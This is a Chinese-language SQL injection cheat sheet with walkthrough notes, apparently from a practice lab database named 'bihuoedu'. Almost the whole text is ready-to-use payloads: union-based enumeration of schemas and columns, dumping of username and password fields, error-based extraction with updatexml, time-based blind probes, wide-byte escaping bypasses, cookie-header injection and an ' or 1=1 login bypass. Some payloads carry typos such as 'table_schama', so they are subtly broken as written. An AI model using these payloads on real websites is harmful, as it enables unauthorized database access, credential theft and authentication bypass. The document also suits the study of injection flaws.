常用语句
基础语句:
--+
与
#
为注释符
1' or 1=1 --'
查看是否报错 或1’ or ‘1’=‘1 --’ 等(在–后面必须加空格或+)
1' order by 3--+
查看字段数(之后查询要符合字段数)
1' union select 1,2,3,4
判断字段出现的位置
-1' union select user(),version(),database()#%
查看用户.版本.数据库
1' union select table_schema(库),table_name(表) from information_schema.tables where table_schema='dawa'--+
(根据字段来构造)取表
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='表名'#
查字段 表名
1'union select user,password from users#
取字段内容
updatexml()函数:
1' union select user,password from users#
查看用户和密码
1' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)#
爆版本信息
1' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#
爆当前用户
1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)#
爆当前库
1' or updatexml(1,concat(0x7e,(select+table_name from information_schema.tables where table_schama='库名' limit 0,1),0x7e),1)--+
查看当前数据库里面的表
' or updatexml(1,concat(0x7e,(select group_concat(column name) from information_schema.columns where table_name='表名' limit 0,1),0x7e),1)--+
查看当前表里面的字段
1' and updatexml(1,concat(0x7e,(select 字段 from 表名 limit 0,1)),0)#
查内容
数字型注入(post)
在5后面输入’后报错,再输入-5 or 1=1 --
(空格替换成+)后回显正常,说明存在sql注入
接下来判断字段
-5 order by 3 --+
-5 order by 2 --+
可知输入3的时候报错,2时正常回显,说明有两个字段
查看当前数据库
-1 union select database(),version()--+
,得知数据库为bihuoedu
可查看bihuoedu库中的所以表
-1' union select table_schema,table_name from information_schema.tables where table_schema='bihuoedu'
查看ctf_users表里面的字段
-1 union select group_concat(column_name),table_name from information_schema.columns where table_name='ctf_users'
得知了表里面的字段后,就能查看字段内容了
-1 union select username,password from ctf_users
字符型注入(get)
输入1’报错,
输入
a'+or+1=1--+
回显正常,说明存在sqll漏洞,之后的步骤同上
搜索型注入
输入 daf' order by 4--+
回显错误,改为3正常,说明字段数为3,之后的步骤同上
xx型注入
输入1' or 1=1--+
回显错误,应为显示有两个’’,故应用’闭合
输入
1' or '1'='1--+
,回显正常
1’ order by 1
回显错误,多了’),故应闭合’)
输入1') order by 1--+
闭合,之后的查看数据库与之前的方式相同
insert/update注入
注册了一个用户名为aaa密码为111的账户
通过
' or 1=1--+
将密码注释(无密码登录)
delete型注入
当鼠标指向删除时,左下角的链接出现了,可尝试在这个链接处进行sql注入
输入’报错
再次尝试,发现不用闭合’
但用order by查询字段时出错,没有查询结果,故可以用另一种方式
72156 or updatexml (1,concat(0x7e,database()),0)
查询数据库,可将database()替换成user(),version()
输入
' or updatexml(1,concat(0x7e,(select+table_name from information_schema.tables where table_schama='库名' limit 0,1),0x7e),1)--+
查看当前数据库里面的表
查看字段名
' or updatexml(1,concat(0x7e,(select group_concat(column name) from information_schema.columns where table_name='表名' limit 0,1),0x7e),1)--+
查看当前表里面的字段
得到了数据库,表,字段名就可查看里面的内容了
http头注入
http头的各个位置可能都存在注入点,经过测试,发现cookie里面的admin后边存在注入点,输入' order by 5--+
报错,4对,故有4个字段,但之后构造字段时,没有回显
故可以用or updatexml (1,concat(0x7e,database()),0)
查看数据库,之后的操作与delete注入相似
基于时间的盲注(boolian)
输入' and if (length(database())>1,sleep(3),1)
,发现右下角的回显时间明显延迟了,说明前面的语句正确,执行了sleep(),存在时间注入漏洞
输入
' and if(substr(database(),1,1)='b',sleep(1),1)--+
时间也差不多时4秒,说明数据库的第一个字母为b时正确的,之后就可以推出数据库为bihuoedu
宽字节注入
输入'%df' or 1=1--+
一些页面遇到’时会在’前加/变成/’,将’转义了,而/可转换成%5c,组合成%df%5c,为一个繁体字,故’就没有被转义,能构造sql语句,
输入’没有报错
将%df”输入,'生效,报错
输入
1%df' or 1=1--+
正常,存在sql注入,之后的注入方式与前面类似